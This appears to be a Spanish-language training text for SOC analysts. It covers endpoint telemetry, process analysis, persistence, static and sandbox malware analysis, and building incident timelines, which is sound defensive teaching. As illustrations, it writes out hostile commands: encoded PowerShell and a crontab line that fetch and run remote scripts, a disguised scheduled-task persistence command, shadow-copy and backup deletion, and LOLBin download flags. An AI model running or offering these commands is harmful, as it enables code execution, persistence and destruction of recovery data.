El antivirus tradicional se centra en bloquear archivos que se sabe que son maliciosos. EDR añade el historial de procesos, archivos, Registro, conexiones e inicios de sesión. XDR reúne evidencias de dispositivos finales con fuentes de red, correo, identidad y nube. MDM gestiona teléfonos y tabletas: sus registros de inventario y cumplimiento pueden revelar aplicaciones no aprobadas, acceso root o jailbreak, y permite acciones como bloquear o borrar dispositivos.
Los eventos de seguridad de Windows proporcionan referencias útiles:
| Evento | Actividad |
|---|---|
| 4688 | Se creó un proceso; incluir la línea de comandos requiere una directiva específica. |
| 4624 | Se inició sesión correctamente. |
| 4698 | Se creó una tarea programada, cuando está habilitada la auditoría necesaria. |
| 4697 | Se instaló un servicio. |
| 4720 | Se creó una cuenta de usuario. |
El evento 7045 del sistema también registra la instalación de un servicio. Windows almacena eventos en archivos .evtx que pueden exportarse para realizar búsquedas estructuradas. En Linux, utiliza auditd, los registros de autenticación y el diario del sistema.
Utiliza la identidad de proceso de Sysmon
Sysmon está disponible como función opcional integrada en Windows 11 y Windows Server 2025, y como descarga de Sysinternals para otros sistemas. El evento 1 registra la creación de procesos con la línea de comandos completa, el proceso padre, los hashes y un GUID de proceso. Ese GUID permite distinguir procesos diferentes incluso cuando el sistema operativo reutiliza un PID.
Otros eventos útiles son el 3 para conexiones de red, el 11 para creación de archivos, el 12–14 para cambios en el Registro y el 22 para consultas DNS. El evento 3 está desactivado por defecto porque puede generar un volumen considerable. Comprueba la configuración activa antes de interpretar que la ausencia de un evento significa ausencia de actividad.
Explora a partir de una alerta
Comienza por el equipo, el usuario, la detección y el árbol de procesos. Examina qué inició el proceso, qué inició este y a qué archivos, valores del Registro y destinos accedió. Amplía la cronología antes y después de la alerta; la marca de tiempo de una detección no es necesariamente el inicio de la intrusión.
Explora desde un hash hasta todos los equipos que tienen ese archivo, o desde un destino hasta todos los equipos que lo contactaron. La prevalencia aporta contexto: un programa desconocido en uno de 5000 equipos es inusual, mientras que el software presente en todos puede ser un despliegue estándar. Compara ambos casos con el software y el comportamiento aprobados; la actividad maliciosa generalizada también puede tener una prevalencia alta.
Ordena la respuesta y comprueba la visibilidad
EDR puede aislar un equipo, detener un proceso, poner un archivo en cuarentena o recopilarlo, bloquear un hash y abrir una sesión de respuesta en vivo. El aislamiento normalmente conserva la conexión de gestión mientras restringe los demás accesos de red. Sigue el procedimiento de respuesta y recopila las evidencias necesarias antes de realizar acciones que destruyan la memoria de los procesos o cambien archivos.
Comprueba el estado operativo del sensor cuando la consola parezca tranquila: estado de instalación, informes recientes, configuración y señales de manipulación. Un agente detenido crea una brecha de visibilidad y puede ser parte de la propia intrusión.
Puntos clave
- EDR proporciona historial y respuesta en dispositivos finales; XDR une fuentes; MDM gestiona dispositivos móviles.
- Confirma la configuración de auditoría y del sensor antes de basarte en la ausencia de eventos.
- Utiliza los GUID de proceso para distinguir instancias cuando se reutilizan PID.
- Explora árboles de procesos, cronologías de equipos, hashes y destinos relacionados.
- Recopila las evidencias necesarias y comprueba el estado operativo del sensor al tomar decisiones de respuesta.
3.2 Analiza procesos y líneas de comandos
El nombre de un proceso es solo un campo de una investigación. Comprueba conjuntamente su ruta de ejecutable, proceso padre, usuario, línea de comandos, firma y hash. Conserva el PID junto con su hora de inicio, o utiliza un GUID de proceso, para evitar unir procesos distintos que reutilizaron el mismo PID.
Compara nombre, ruta y proceso padre
Un svchost.exe normal se ejecuta desde C:\Windows\System32, es iniciado por services.exe y normalmente tiene un argumento de grupo -k. lsass.exe se ejecuta desde el mismo directorio del sistema como una única instancia, iniciada por wininit.exe; services.exe también tiene ese proceso padre. Explorer normalmente se ejecuta por cada usuario que ha iniciado sesión y su proceso padre userinit.exe termina. Por tanto, la ausencia de un proceso padre en ejecución para Explorer requiere una interpretación distinta de la de un proceso del sistema iniciado por Word.
Un nombre casi idéntico como scvhost.exe, un nombre del sistema en C:\Users\Public o un proceso padre inusual de LSASS sugieren camuflaje de procesos o archivos. Que Office inicie un intérprete de comandos es otra pista importante: sigue WINWORD.EXE o EXCEL.EXE hasta cmd.exe, PowerShell, wscript.exe o mshta.exe. En un servidor web, que w3wp.exe inicie un intérprete de comandos sugiere un intérprete de comandos web malicioso.
Interpreta qué se pide hacer a las herramientas firmadas
Los LOLBins son programas legítimos del sistema utilizados indebidamente por un atacante. certutil.exe puede descargar un archivo con -urlcache -split -f; mshta.exe puede ejecutar una aplicación HTML desde una URL; rundll32.exe y regsvr32.exe pueden ejecutar código de DLL o scripts. bitsadmin.exe puede transferir archivos y wmic process call create inicia procesos. Sus firmas válidas describen a los editores de los programas, mientras que el proceso padre y los argumentos revelan su uso en este caso.
Los indicadores de PowerShell como -nop, -w hidden, -ExecutionPolicy Bypass y -enc merecen una inspección atenta. IEX ejecuta texto como código; iwr y DownloadString recuperan contenido. El registro de bloques de scripts, evento 4104, puede revelar el contenido decodificado del script.
Decodifica antes de evaluar
-EncodedCommand de PowerShell utiliza texto UTF-16LE codificado en Base64. Para -enc aQB3AHIAIABoAHQAdABwADoALwAvADEAOQA4AC4ANQAxAC4AMQAwADAALgA3AC8AYQAuAHAAcwAxACAAfAAgAGkAZQB4AA==, aplica From Base64 en CyberChef y después Decode text as UTF-16LE. El resultado es:
iwr http://198.51.100.7/a.ps1 | iex
iwr recupera el script y la canalización lo pasa a iex para su ejecución. Esto puede ejecutar código sin guardar el script descargado como archivo. Las letras separadas por bytes cero después de decodificar Base64 indican que falta la interpretación UTF-16LE.
Sigue una cadena de procesos en orden: Outlook abre invoice.docm en Word; Word inicia un intérprete de comandos; PowerShell contacta con el servidor y escribe upd.exe; el nuevo ejecutable inicia su propio tráfico. Vincula cada paso con los eventos registrados. Un agente de despliegue firmado también puede usar PowerShell codificado para una instalación aprobada, por lo que debes inspeccionar el contenido decodificado y la autorización.
En Linux, investiga ejecutables en /tmp o /dev/shm, curl canalizado a bash, un intérprete de comandos redirigido a un socket remoto o /proc/<pid>/exe marcado como «(deleted)». Un proceso de usuario llamado [kworker/0:1] es sospechoso si tiene un ejecutable en disco: los hilos reales del núcleo descienden de kthreadd, PID 2, y no tienen un archivo ejecutable.
Puntos clave
- Evalúa la identidad y la actividad completas del proceso, incluidos la ruta, el proceso padre y los argumentos.
- Compara los nombres de procesos del sistema con las rutas y los procesos padre esperados.
- Una herramienta del sistema firmada puede realizar una acción dirigida por un atacante.
- Decodifica PowerShell como Base64 seguido de UTF-16LE e inspecciona el comando resultante.
- Sigue la ascendencia de los procesos hasta las descargas, la creación de archivos y las conexiones posteriores.
- Utiliza las rutas de ejecutables y los procesos padre en Linux para comprobar nombres de procesos engañosos.
3.3 Encuentra mecanismos de persistencia
La persistencia da a un atacante una forma de recuperar la ejecución o el acceso tras interrupciones como el cierre de sesión o el reinicio. Un equipo puede contener varios mecanismos, cada uno con un desencadenante distinto. Registra la ubicación, el destino, las marcas de tiempo y el hash del archivo antes de eliminar una entrada.
Inspecciona las ubicaciones de inicio automático de Windows
Las claves Run bajo HKCU\Software\Microsoft\Windows\CurrentVersion se aplican al usuario actual; el usuario puede escribir en ellas sin derechos de administrador. La clave Run correspondiente de HKLM se aplica a todos los usuarios y requiere privilegios elevados para modificarla. RunOnce permite una ejecución única; HKLM RunOnce se ejecuta cuando un administrador inicia sesión después de reiniciar. Las entradas Run se activan al iniciar sesión, no cuando se copia un archivo al disco.
Las carpetas de inicio también ejecutan contenido al iniciar sesión. Comprueba la carpeta del usuario AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup y la compartida C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp. Los eventos 12–14 del Registro y el evento 11 de archivos de Sysmon ayudan a determinar cuándo se produjeron estos cambios.
Las tareas programadas pueden activarse a intervalos, a una hora o ante un evento:
schtasks /create /sc minute /mo 30 /tn "GoogleUpdateTaskCore" /tr "C:\Users\Public\upd.exe"
Esto ejecuta el programa indicado cada 30 minutos, o 48 veces al día. El nombre de la tarea, aunque parezca fiable, no identifica al editor del programa. Inspecciona el evento de seguridad 4698 cuando la auditoría esté habilitada, el registro operativo del Programador de tareas y las definiciones en C:\Windows\System32\Tasks.
Los servicios pueden iniciarse durante el arranque, a menudo como SYSTEM. Inspecciona el evento 7045 del sistema o el evento 4697 de seguridad y la ruta de imagen configurada. Un servicio nuevo que se inicia desde una carpeta pública o ejecuta PowerShell merece atención.
Las suscripciones a eventos de WMI unen un filtro de eventos con una acción del consumidor y pueden persistir sin un archivo de inicio; Sysmon 19–21 registra sus componentes y su vinculación. Inspecciona también las cuentas nuevas y la pertenencia al grupo de administradores, los archivos del servidor web, las extensiones del navegador y las DLL inesperadas cargadas mediante el secuestro del orden de búsqueda.
Comprueba Linux y macOS
En Linux, inspecciona el crontab -l de cada usuario, /etc/crontab, /etc/cron.d/, los archivos de unidad de systemd en /etc/systemd/system/, los archivos de inicio del intérprete de comandos y ~/.ssh/authorized_keys. Enumera las unidades con systemctl list-unit-files. macOS usa LaunchAgents y LaunchDaemons con definiciones de listas de propiedades; comprueba sus programas y desencadenantes configurados.
En un crontab de usuario, */10 * * * * curl -s http://198.51.100.7/s.sh | bash descarga y ejecuta un script cada 10 minutos. Los campos son minuto, hora, día del mes, mes y día de la semana. Una nueva clave SSH crea otra vía de acceso incluso después de restablecer una contraseña.
Compara y relaciona los hallazgos
Autoruns reúne muchas ubicaciones de inicio automático de Windows en una sola vista. Ocultar los editores de confianza puede reducir los elementos mostrados en una primera revisión, pero vuelve a examinar las entradas firmadas cuando otras evidencias apunten a ellas. Compara con un equipo en buen estado creado a partir de la misma imagen y con la línea base aprobada.
Por ejemplo, un valor Run llamado OneDriveUpdate apunta a un odu.exe sin firma en el perfil itinerante de un usuario. Las horas de creación del archivo y del registro son las 09:15 UTC, un minuto después de la ejecución de una macro sospechosa. Esa coincidencia temporal y la ruta del programa vinculan la entrada de inicio automático con la intrusión. Continúa revisando las demás ubicaciones después de encontrarla: una tarea programada o un servicio podrían restaurar el mismo contenido malicioso.
Puntos clave
- Identifica el desencadenante y el destino de cada entrada de persistencia.
- Comprueba claves Run, carpetas de inicio, tareas, servicios y suscripciones WMI en Windows.
- Comprueba cron, systemd, archivos de inicio del intérprete y claves SSH en Linux, además de los elementos de inicio de macOS.
- Compara las entradas con una línea base que se sabe que es correcta y con la cronología de la infección.
- Registra cada mecanismo antes de eliminarlo y sigue buscando después del primer hallazgo.
3.4 Identifica cambios en los archivos, el software y la configuración de un equipo
Un equipo comprometido deja cambios más allá de su árbol de procesos. Busca archivos y software nuevos, configuraciones de seguridad debilitadas, uso inusual de recursos y archivos reunidos para su transferencia. Compáralos con la función del equipo y el orden de los eventos.
Interpreta los cambios y la procedencia de los archivos
Los programas y scripts en C:\Users\Public, %TEMP%, %APPDATA% o /tmp merecen atención cuando son inesperados. Una doble extensión como invoice.pdf.exe oculta la función real del archivo. Los cambios masivos de nombre, las nuevas extensiones y las notas de rescate en muchas carpetas forman un patrón de ransomware mucho más claro que un solo archivo desconocido.
Las fechas de los archivos pueden manipularse. El evento 2 de Sysmon registra los cambios en la hora de creación de un archivo, llamados manipulación de marcas de tiempo de archivos. Compara el historial de eventos con la fecha visible antes de concluir que un archivo de aspecto antiguo es anterior al incidente.
Windows suele añadir el flujo de datos alternativo Zone.Identifier a las descargas de internet. Esta marca de la Web puede incluir la URL de origen, mientras que el evento 15 de Sysmon puede registrar la creación del flujo. Preserva el flujo junto con el archivo al recopilarlo; los métodos de copia o extracción pueden eliminarlo, por lo que su ausencia por sí sola es una evidencia débil del origen.
Busca defensas debilitadas
Entre los cambios que merece la pena investigar están la protección en tiempo real desactivada, nuevas exclusiones del antivirus, reglas de firewall para tráfico entrante, RDP recién habilitado, nuevos administradores locales y una configuración de auditoría reducida. El evento de seguridad 1102 registra el borrado del registro de auditoría de seguridad. Correlaciona estos cambios con el usuario o proceso responsable y el mantenimiento aprobado.
Comandos como vssadmin delete shadows /all /quiet eliminan las instantáneas de volumen, y wbadmin delete catalog elimina el catálogo de copias de seguridad. Los atacantes los usan para perjudicar la recuperación antes del cifrado por ransomware. Su aparición exige escalar la respuesta inmediatamente según el procedimiento, mientras el equipo comprueba la actividad relacionada de procesos y archivos.
Compara el software y el uso de recursos
El software de asistencia remota firmado puede proporcionar acceso no autorizado. Compara el inventario de EDR o MDM con la lista aprobada y los registros de despliegue. Investiga las herramientas de credenciales, los escáneres o las herramientas de transferencia a la nube como rclone en un equipo que no tenga una necesidad aprobada de usarlas.
Un minero puede llevar el uso de CPU o GPU cerca del 100 % y contactar con un grupo de minería, a veces mediante una dirección stratum+tcp://. Las cargas de trabajo legítimas también pueden tener un uso elevado, por lo que debes relacionar la carga de recursos con un proceso y un destino. El llenado del disco, el agotamiento de la memoria y los fallos repetidos de un servicio pueden apuntar a recopilación de datos o a intentos de explotación fallidos.
Relaciona la preparación de datos con el tráfico saliente
La preparación de datos para su transferencia reúne material antes de la exfiltración. Los archivos .7z o .rar grandes en una carpeta pública o temporal, la protección por contraseña y las partes de archivo de igual tamaño son pistas útiles. Identifica el proceso que los creó, los archivos recopilados y el momento de la operación.
Si un proceso no aprobado crea partes de un archivo comprimido y después envía una gran carga, la secuencia relaciona la preparación con la transferencia. Los datos de flujos miden el tráfico, pero no pueden revelar el contenido del archivo comprimido. Utiliza evidencias de procesos y acceso a archivos para determinar qué se recopiló; el tamaño del archivo comprimido por sí solo no permite establecer qué registros salieron de la organización.
Puntos clave
- Compara los archivos sospechosos y su historial de creación registrado, no solo las fechas visibles.
- Inspecciona los cambios de seguridad, el borrado de registros y las acciones que perjudican la recuperación.
- Comprueba la aprobación del software incluso cuando una herramienta de acceso remoto esté firmada.
- Relaciona el consumo de recursos y los artefactos de preparación de datos con un proceso responsable.
4Analiza archivos sospechosos y su reputación
Un archivo sospechoso puede comprobarse desde varios ángulos antes de que su función quede clara. Identificarás su contenido, interpretarás la reputación en contexto, inspeccionarás cadenas y estructura y observarás una ejecución controlada en un entorno aislado de análisis. Estos métodos proporcionan distintos tipos de evidencia: una firma o importación sugiere un origen o una capacidad, mientras que la ejecución registrada muestra el comportamiento. Juntos orientan la siguiente búsqueda en los sistemas afectados.
4.1 Consulta la reputación de archivos, hashes, dominios y direcciones IP
La reputación añade contexto externo a las evidencias locales. Puede identificar un archivo conocido, revelar un dominio registrado recientemente o mostrar informes de abuso recientes. La antigüedad de la consulta, sus implicaciones para la privacidad y su relación con este equipo importan tanto como su puntuación.
Identifica el archivo exacto
Un hash criptográfico proporciona al contenido de un archivo un identificador de longitud fija. MD5 usa 32 caracteres hexadecimales, SHA-1 usa 40 y SHA-256 usa 64. Los ataques prácticos de colisión debilitan MD5 y SHA-1, por lo que debes usar SHA-256 para identificar evidencias.
Get-FileHash .\file.exe -Algorithm SHA256
certutil -hashfile file.exe SHA256
En Linux, utiliza sha256sum file. Cambiar incluso un byte modifica el hash drásticamente: los prefijos SHA-256 de «invoice» e «Invoice» son 52d6e3de4fa0dcc2 y b832002da297545f. Un atacante puede recompilar un contenido malicioso o añadirle relleno para eludir una coincidencia de hash exacta. Los hashes de similitud como ssdeep comparan el parecido; imphash agrupa archivos PE según sus importaciones.
Interpreta un informe de reputación
VirusTotal combina varios motores, relaciones e informes de análisis. Un resultado de 58/72 significa que aproximadamente el 81 % señaló el archivo; 3/72 significa aproximadamente el 4 %. Un recuento bajo puede reflejar una falsa alarma o una amenaza nueva. Examina los nombres de detección, el primer envío, los nombres de archivo observados, la firma y la infraestructura contactada junto con la proporción. Cero detecciones dejan abierta la cuestión del comportamiento.
Consultar un hash evita enviar el contenido del archivo, pero revela qué hash te interesa. Si el servicio ya tiene el archivo, el hash puede identificarlo. Las cargas comparten la muestra real y pueden exponerla a suscriptores o a un atacante que vigile los envíos. Comprueba primero el hash; conserva el contenido confidencial en sistemas privados de análisis aprobados.
Una firma válida aumenta la confianza en el origen, pero sigue siendo posible que se hayan robado certificados o se utilicen indebidamente herramientas del sistema firmadas. Verifica tanto la validez de la firma como si el firmante corresponde al producto declarado. Después evalúa el comportamiento observado del comando o archivo.
Interpreta el contexto de dominios e IP
Los datos de registro pueden revelar un registrador y una fecha de creación aunque los datos del propietario estén ocultos. RDAP es el protocolo oficial de datos de registro para dominios genéricos de nivel superior tras la transición de enero de 2025; las herramientas aún pueden etiquetar su vista como «WHOIS». Un dominio creado dos días antes de una campaña de phishing es una señal de advertencia útil. El DNS pasivo añade asignaciones anteriores de direcciones y la transparencia de certificados añade nombres de certificados emitidos.
AbuseIPDB reúne informes de abuso de IP. Comprueba las fechas y el servicio notificado: una IP de la nube puede haber cambiado de cliente. GeoIP proporciona una ubicación aproximada de la infraestructura, no una ubicación fiable de la persona detrás de una VPN, Tor o un servicio en la nube. El alojamiento compartido y las CDN también hacen que el bloqueo amplio de IP pueda causar interrupciones.
Prioriza evidencias que resisten los cambios
La pirámide del dolor ordena hashes, IP, dominios, artefactos de equipos y red, herramientas y técnicas del atacante según la dificultad creciente que supone para este cambiarlos. Los hashes exactos son fáciles de reemplazar. Una detección de Word que inicia un programa de descarga y establece persistencia puede seguir siendo útil después de que cambien el hash del archivo y el destino. Conserva los indicadores de corta duración con fechas de revisión o caducidad mientras registras el comportamiento que los produjo.
Puntos clave
- Utiliza SHA-256 para identificar archivos exactos y reconoce que los archivos modificados tienen nuevos hashes.
- Interpreta las proporciones de detección junto con el comportamiento, las fechas, las firmas y las relaciones.
- Las consultas de hashes revelan interés; las cargas de archivos revelan la propia muestra.
- Comprueba en contexto la antigüedad del registro, el DNS pasivo y los informes recientes de IP.
- GeoIP localiza la infraestructura de forma aproximada y las IP compartidas requieren un tratamiento cuidadoso.
- Las detecciones basadas en comportamiento resisten cambios que eluden el bloqueo de hashes o IP.
4.2 Realiza un análisis estático básico
El análisis estático examina un archivo sin ejecutarlo. Ayuda a identificar qué es realmente el archivo, qué capacidades puede contener y qué debe observar un entorno aislado de análisis. Distingue las pistas sobre capacidades del comportamiento que realmente se ha observado.
Identifica el tipo y el contenido legible
Las extensiones son fáciles de cambiar. Inspecciona los bytes mágicos con file, un visor hexadecimal o la operación Detect File Type de CyberChef:
| Primeros bytes | Formato probable |
|---|---|
4D 5A, o MZ | Familia de ejecutables de Windows |
25 50 44 46, o %PDF | |
50 4B 03 04, o PK | ZIP, incluidos los contenedores modernos de Office |
7F 45 4C 46 | Ejecutable ELF de Linux |
Un archivo adjunto llamado invoice.pdf que comienza con MZ se hace pasar por un documento. Confirma la estructura, ya que una firma breve por sí sola es solo una comprobación inicial del tipo.
strings -a file.exe de GNU extrae texto ASCII de todo el archivo. strings -a -e l file.exe extrae texto UTF-16LE, habitual en programas de Windows. FLOSS y Strings de Sysinternals pueden ayudar a cubrir ambos. Busca dominios, URL, comandos, rutas del Registro, nombres de archivo y mensajes de error. El texto extraído puede no usarse o ser engañoso, por lo que debes conservar su ubicación y compararlo con el comportamiento posterior.
Interpreta la estructura y las pistas de empaquetado
Un ejecutable PE tiene cabeceras, secciones como .text, .data y .rsrc, y una tabla de importaciones de las funciones que solicita. VirtualAllocEx, WriteProcessMemory y CreateRemoteThread juntas sugieren una posible inyección de código. URLDownloadToFile e InternetOpenUrl sugieren capacidad de descarga. Una marca de tiempo de compilación puede falsificarse y necesita corroboración.
Los empaquetadores comprimen o cifran código y lo desempaquetan en memoria. Pocas cadenas, una lista corta de importaciones, secciones UPX0/UPX1 y entropía alta sugieren empaquetado. La entropía se aproxima a 8 bits por byte para datos de aspecto muy aleatorio, pero los recursos comprimidos y los instaladores ordinarios pueden parecer similares. El empaquetado cambia la forma de investigar; no determina el dictamen.
Decodifica texto y prueba una coincidencia
Las recetas de CyberChef pueden combinar Base64, hexadecimal, XOR, descompresión y decodificación de URL. Aplica las operaciones en el orden que requiera el contenido. Una expresión regular como \b(?:\d{1,3}\.){3}\d{1,3}\b extrae texto con aspecto de IPv4, pero también coincide con 999.1.1.1, por lo que debes validar los resultados.
Una regla YARA puede combinar características independientes:
rule Suspicious_Downloader
{
strings:
$mz = { 4D 5A }
$a = "DownloadString" ascii wide
$b = "198.51.100.7"
condition:
$mz at 0 and $a and $b
}
El archivo debe comenzar con MZ y contener ambas cadenas; ascii wide acepta la cadena de descarga en cualquiera de las dos representaciones. Prueba la regla con archivos que se sabe que son correctos para medir las coincidencias accidentales. Una coincidencia establece que se cumplen las condiciones de la regla, mientras que la revisión del analista determina su significado.
Para documentos, extrae macros con olevba. Para scripts, elimina la codificación o la ofuscación como texto. Utiliza las funciones, los argumentos y los indicadores resultantes para configurar e interpretar el análisis dinámico.
Puntos clave
- Identifica el tipo real de archivo a partir de su estructura y sus bytes, más allá de la extensión.
- Extrae cadenas ASCII y UTF-16LE al examinar muestras de Windows.
- Utiliza las importaciones y los indicadores de empaquetado para formular hipótesis comprobables sobre capacidades.
- Valida los indicadores decodificados y las coincidencias de expresiones regulares.
- Lee cada condición de YARA y prueba las reglas con contenido que se sabe que es correcto.
4.3 Realiza e interpreta análisis en un entorno aislado
El análisis dinámico ejecuta una muestra en un entorno controlado y registra sus acciones. Un entorno aislado de análisis puede revelar el comportamiento oculto por el empaquetado o el contenido activo de un documento. Su informe describe esa ejecución con esa configuración; comprueba si la muestra tenía lo que necesitaba para actuar.
Prepara una ejecución útil
Utiliza un entorno aislado y dotado de herramientas de observación, como Joe Sandbox, Cuckoo o un entorno aislado interactivo. Sepáralo de producción, controla su acceso a la red y restablécelo a una instantánea limpia después de cada ejecución. Los servicios de red pueden simularse con INetSim o FakeNet, o encaminarse mediante una infraestructura de análisis aprobada. Conserva las muestras confidenciales en sistemas privados.
Selecciona el sistema operativo y las aplicaciones adecuados para el objetivo. Un documento con macros necesita el entorno de Office correspondiente; un archivo comprimido puede necesitar su contraseña; un programa puede requerir argumentos, clics, un proceso padre concreto o un reinicio. Registra esa configuración y la duración de la ejecución para que otro analista pueda interpretar el resultado.
Examina las acciones detrás de la puntuación
Inspecciona el árbol de procesos, los cambios de archivos y del Registro, la actividad DNS y HTTP, las conexiones, las capturas de pantalla y los hashes de archivos depositados. Un informe también puede mostrar mutexes y asignaciones de técnicas de ATT&CK. Un mutex coordina el acceso exclusivo a un recurso; el malware a veces usa un nombre de mutex distintivo para evitar ejecutar dos copias. El software legítimo también usa mutexes.
Considera la ejecución de un documento que produce Word → PowerShell oculto y codificado, una consulta de cdn-update.example.net, una solicitud HTTP GET de /a.ps1, C:\Users\Public\upd.exe y una entrada Run que apunta a ese archivo. Recopila el dominio, la IP, la URL, el hash y la ruta del archivo depositado y el valor Run. PowerShell respalda la asignación a T1059.001 y la entrada Run respalda T1547.001. La entrega mediante un archivo adjunto de phishing necesita evidencia independiente del correo para T1566.001.
Relaciona las afirmaciones del informe con sus eventos registrados. Una puntuación global alta ayuda a priorizar una muestra, pero las acciones de los procesos explican qué ocurrió y qué indicadores son útiles en tu entorno.
Investiga una muestra inactiva
El malware puede permanecer inactivo más allá del periodo de observación, detectar hardware virtual, inspeccionar los recursos de memoria o CPU, esperar clics o requerir un idioma o ubicación concretos. Una descarga fallida también puede impedir que se ejecute la siguiente etapa. Vuelve a comprobar las dependencias y los hallazgos estáticos antes de considerar tranquilizadora una ejecución inactiva.
Elige una nueva ejecución que compruebe una explicación concreta: amplía la duración para probar una demora, proporciona la aplicación o los argumentos necesarios, añade interacción o usa otro perfil de sistema operativo. Documenta qué cambió. Si persiste una incertidumbre importante, remite la muestra a un especialista en ingeniería inversa.
Incorpora los hallazgos al caso
Busca en los registros de DNS, proxy, firewall y EDR los dominios, las rutas, los hashes y los comportamientos relevantes. Las actualizaciones de Windows, las comprobaciones de certificados y las pruebas de conectividad del entorno aislado son actividad de fondo; distínguelas de las acciones causadas por la muestra antes de bloquear destinos.
Un entorno aislado puede proporcionar pistas de búsqueda para otros equipos, pero su ejecución aislada no establece qué equipos de producción fueron infectados. Relaciona las pistas con los eventos locales y el historial de procesos y después preserva esos registros junto con el informe y el hash de la muestra.
Puntos clave
- Adapta las dependencias, los argumentos, la interacción y la duración del entorno aislado a la muestra.
- Inspecciona las acciones registradas y los artefactos depositados detrás de la puntuación global.
- Asigna técnicas a la ejecución y la persistencia observadas por separado de la evidencia de entrega.
- Comprueba causas concretas de inactividad y combina los hallazgos dinámicos con los estáticos.
- Filtra el tráfico de fondo antes de utilizar indicadores del entorno aislado en búsquedas de producción.
5Correlaciona evidencias y determina si la actividad es maliciosa
Un caso justificable une registros sin perder su origen ni exagerar su significado. Alinearás zonas horarias e identidades, distinguirás observaciones de hipótesis y describirás con ATT&CK los comportamientos respaldados por evidencias. El dictamen final combina autorización, evidencias técnicas e impacto en el negocio. Las notas claras, las referencias a las evidencias y los registros de custodia hacen que esa evaluación sea útil para quienes reciben el caso y responden al incidente.
5.1 Correlaciona evidencias para elaborar una cronología
La correlación une registros en una descripción de un incidente que otro analista puede comprobar. El correo puede establecer la entrega, la telemetría del dispositivo final puede establecer la ejecución y la evidencia de red puede establecer la comunicación. Una cronología útil distingue esas observaciones de las relaciones causales que todavía estás comprobando.
Normaliza la hora y la identidad
Convierte las horas a UTC y conserva la zona original y cualquier desfase conocido del reloj. Una hora de EDR de 11:14:31 en UTC+2 es 09:14:31 UTC. Confirma si la consola o la exportación ha convertido las marcas de tiempo UTC originales de un sensor. La deriva del reloj por problemas de NTP puede dejar fuentes separadas por minutos incluso después de convertir las zonas horarias.
Elige campos de unión que identifiquen el mismo objeto en ese momento: equipo, usuario, hash, URL, dominio, Message-ID, uid de Zeek o GUID de proceso. Un PID necesita una hora de inicio porque puede reutilizarse. Una IP necesita el historial de DHCP o VPN porque una concesión posterior puede asignarla a otro equipo. Conserva cada registro de origen o referencia de consulta junto a la entrada de la cronología.
Construye la cadena de eventos observados
Para un caso, las evidencias en UTC son:
- 09:12:05: un mensaje que contiene
invoice.docmllega a 40 buzones. - 09:14:10: el usuario de
WS-0423abre el archivo adjunto. - 09:14:31: Word inicia PowerShell codificado.
- 09:14:32–33: DNS resuelve el equipo de descarga y una solicitud HTTP GET pide
/a.ps1. - 09:15:02: se escribe
upd.exey se crea un valor Run. - Desde las 09:20:00: las conexiones se repiten cada 300 segundos.
- La noche siguiente, 02:10–02:50: salen 2,4 GB hacia la misma IP.
Las evidencias de procesos y archivos respaldan las relaciones de ejecución y persistencia. La gran carga necesita atribuirse con más detalle: compartir una IP con tráfico anterior es una evidencia más débil que compartir una instancia de proceso y un canal de aplicación.
Asigna solo lo que respaldan las evidencias
MITRE ATT&CK proporciona nombres estándar para los comportamientos. El mensaje respalda el archivo adjunto de suplantación de identidad dirigida, T1566.001; PowerShell respalda T1059.001; la entrada Run respalda T1547.001. Asignar el tráfico periódico al C2 mediante protocolos web, T1071.001, necesita evidencia de HTTP o HTTPS. Asignar la carga a exfiltración por ese canal C2, T1041, necesita evidencia de que el mismo proceso y canal la transportaron.
ATT&CK no es una secuencia prescrita. El descubrimiento, el acceso a credenciales y el movimiento lateral son posibles búsquedas posteriores, no pasos ausentes que deban insertarse en la cronología.
Usa las lagunas para elegir la siguiente consulta
Si la carga supera los archivos propios del usuario, investiga si el proceso leyó recursos compartidos, generó datos, repitió transferencias o coincidió con tráfico legítimo. Identifica el emisor y el contenido transferido cuando estén disponibles. Registra un evento inexplicado como tal en lugar de forzarlo a encajar en la primera teoría.
Comprueba activamente una explicación alternativa, como un cambio aprobado o una copia de seguridad. El sesgo de confirmación aparece cuando un analista solo recopila hechos que encajan con el primer diagnóstico. Una cronología resulta más útil cuando cada relación incierta indica qué evidencia la reforzaría o debilitaría.
Puntos clave
- Normaliza las marcas de tiempo a UTC y conserva las zonas de origen y los desfases de reloj.
- Relaciona instancias de procesos, asignaciones de direcciones y otras identidades en el momento del evento.
- Mantén separados los eventos observados de las relaciones causales propuestas.
- Asigna técnicas de ATT&CK solo cuando se observe el comportamiento que las respalda.
- Usa las lagunas y las explicaciones alternativas para elegir nuevas búsquedas de evidencias.
5.2 Emite un dictamen y documenta los hallazgos
Un dictamen indica qué respaldan las evidencias, qué nivel de confianza tienes y qué debe ocurrir después. El registro del incidente debe permitir que otro analista repita la investigación. Una etiqueta de alerta de gravedad alta por sí sola no proporciona un dictamen ni un nivel de confianza justificable.
Clasifica el hallazgo
Un verdadero positivo alerta correctamente sobre actividad maliciosa. Un falso positivo alerta sobre actividad que queda fuera de lo que la detección pretendía encontrar. Un verdadero positivo benigno detecta correctamente un comportamiento real pero autorizado, como una prueba de penetración programada. Un falso negativo es actividad maliciosa que no se detectó. Utiliza «no concluyente» cuando las evidencias aún no permitan decidir e indica los datos que faltan.
Comprueba si el comportamiento corresponde al equipo y al usuario, si estaba autorizado, qué tan habitual es y si las fuentes independientes coinciden. Declara un nivel de confianza alto, medio o bajo con motivos concretos. La confianza describe la solidez del hallazgo; la gravedad describe su impacto y urgencia.
Un comando de PowerShell codificado, iniciado por un agente de despliegue firmado en 3000 equipos durante una ventana aprobada, se decodifica como una instalación autorizada. Es un verdadero positivo benigno cuando la regla detecta correctamente PowerShell codificado. El mismo patrón iniciado por Word en un equipo, que contacta con un dominio creado dos días antes y establece persistencia, respalda un dictamen de actividad maliciosa con confianza alta.
Redacta una transferencia reproducible
Registra un resumen breve, la cronología UTC, los equipos y cuentas afectados, los indicadores neutralizados, las técnicas de ATT&CK respaldadas, el dictamen y el nivel de confianza. Incluye consultas, identificadores de alertas, ubicaciones de evidencias y hashes de archivos para que otro analista pueda llegar a los mismos registros. Enumera las acciones ya realizadas y los siguientes pasos recomendados.
Explica por qué se cierra una alerta. Si una detección se activa repetidamente por actividad fuera de su alcance previsto, proporciona a los ingenieros de detección ejemplos y contexto para ajustarla. Un cierre sin explicación oculta tanto ataques no detectados como trabajo inútil recurrente.
Comparte indicadores con contexto
